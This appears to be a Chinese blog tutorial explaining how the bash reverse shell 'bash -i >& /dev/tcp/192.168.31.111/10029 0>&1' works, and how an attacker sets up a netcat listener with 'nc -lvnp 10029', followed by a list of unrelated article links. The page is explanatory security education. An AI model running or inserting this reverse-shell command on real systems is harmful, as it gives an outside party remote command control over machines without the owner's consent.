当前位置: 首页 > news >正文

反向Shell(Reverse Shell)

目的是让目标机器(执行这条命令的机器)主动连接到攻击者控制的服务器,从而让攻击者获得一个远程命令行 shell 控制权限

解这个命令:bash -i >& /dev/tcp/192.168.31.111/10029 0>&1

  1. bash -i

    • bash: 启动 Bash shell。

    • -i 参数:强制 Bash 以交互式(Interactive) 模式运行。这意味着它会提供一个提示符,并且可以接收用户输入,这是获得一个完整 shell 的前提。

  2. >& /dev/tcp/192.168.31.111/10029

    • 这是整个命令的核心,利用了 Bash 的一个特性。

    • /dev/tcp/<IP>/<Port>:在 Linux 中,这是一个特殊的伪设备文件。当你对它进行读写操作时,Bash 实际上会在底层建立一个 TCP Socket 连接,而不是真正地去读写一个磁盘文件。

    • 192.168.31.111:这是攻击者机器的 IP 地址。目标机器会尝试连接这个地址。

    • 10029:这是攻击者机器上监听的端口

    • >&:这是文件描述符重定向的简写,等同于 &>。它的作用是将标准输出(stdout, 文件描述符1) 和标准错误(stderr, 文件描述符2) 都重定向到后面的目标。

    • 所以,这部分的意思是:将 Bash 的所有输出和错误信息,都发送到与 192.168.31.111:10029 建立的 TCP 网络连接中去

  3. 0>&1

    • 0 代表标准输入(stdin),即键盘输入。

    • 1 代表标准输出(stdout),即屏幕输出。

    • 0>&1 的意思是:将标准输入(0)重定向到标准输出(1)的当前位置

    • 由于上一步已经把标准输出(1)重定向到了网络 socket,所以现在标准输入(0)也会被重定向到同一个网络 socket。

整体效果:
执行这条命令后,目标机器上的 Bash 会:

  1. 主动与 192.168.31.111 的 10029 端口建立 TCP 连接。

  2. 将这个网络连接既当作自己的“屏幕”(输出),也当作自己的“键盘”(输入)

  3. 这样,在攻击者的机器上(192.168.31.111),只要有一个程序在 10029 端口监听,就能收到这个连接,并获得一个完全交互式的 Bash shell,可以执行任何目标用户权限允许的命令。


攻击者需要做什么?

为了让这个反向 Shell 生效,攻击者必须提前在自己机器上(192.168.31.111)设置一个监听器(Listener)来接收这个连接。

最常用的工具是 netcat (通常简称 nc):

在攻击者机器上执行:

nc -lvnp 10029-l: 监听模式-v: 显示详细信息-n: 不解析域名-p 10029: 指定监听端口

    执行此命令后,netcat 会等待传入的连接,一旦目标执行了那条反向 Shell 命令,netcat 就会接收到连接,攻击者就获得了 shell。

    http://www.dtcms.com/a/340806.html

    相关文章:

  • Meta 再次重组人工智能部门
  • Visual Studio 2010 简体中文旗舰版 安装全过程详解(附安装包下载)
  • 常见的学术文献数据库
  • 华为数通认证学习
  • 微服务网关中数据权限传递的那些坑:从 Feign 兼容性问题到解决方案
  • 【鸿蒙心迹】7×24小时极限求生:当Origin_null遇上鸿蒙,我如何用100杯咖啡换一条跨域活路?
  • IDM 下载失败排查全攻略
  • HT6881:重塑便携式音频体验的高效能功率放大器
  • 【运维进阶】Linux 正则表达式
  • 怎么确定mysql 链接成功了呢?
  • Electron开发的核心功能要点总结,旨在帮助快速掌握Electron开发核心逻辑
  • 淘宝电商大数据采集【采集内容||采集方法|工具||合规性||应用】
  • 【爬虫实战-IP代理的重要性一】 以urllib和request为例
  • 【React】评论案例列表渲染和删除功能
  • 【工具使用-Docker容器】构建自己的镜像和容器
  • GO环境变量中GO111MODULE到底是干啥的?
  • ES常用查询命令
  • HTML应用指南:利用POST请求获取全国刘文祥麻辣烫门店位置信息
  • 无人机图传 便携式5G单兵图传 HDMI图传设备 多卡5G单兵图传设备详解
  • 极其简单二叉树遍历JAVA版本
  • PDF如何在Adobe Acrobat 中用OCR光学识别文档并保存可编辑文档
  • 【开源项目】高效入门视觉强化学习,告别零散资料,一个开源项目搞定500+资源
  • Java 15 新特性及具体应用
  • 从导航工具到空间智能体,高德用AI寻找出路
  • 大数据毕业设计选题推荐-基于大数据的1688商品类目关系分析与可视化系统-Hadoop-Spark-数据可视化-BigData
  • ios开发 -- 八股 -- UI视图
  • 51单片机与stm32单片机,先学习哪一个?
  • 牛津大学xDeepMind 自然语言处理(3)
  • 翻译记忆库(TMX)与机器翻译的结合应用
  • 【国内电子数据取证厂商龙信科技】隐私增强技术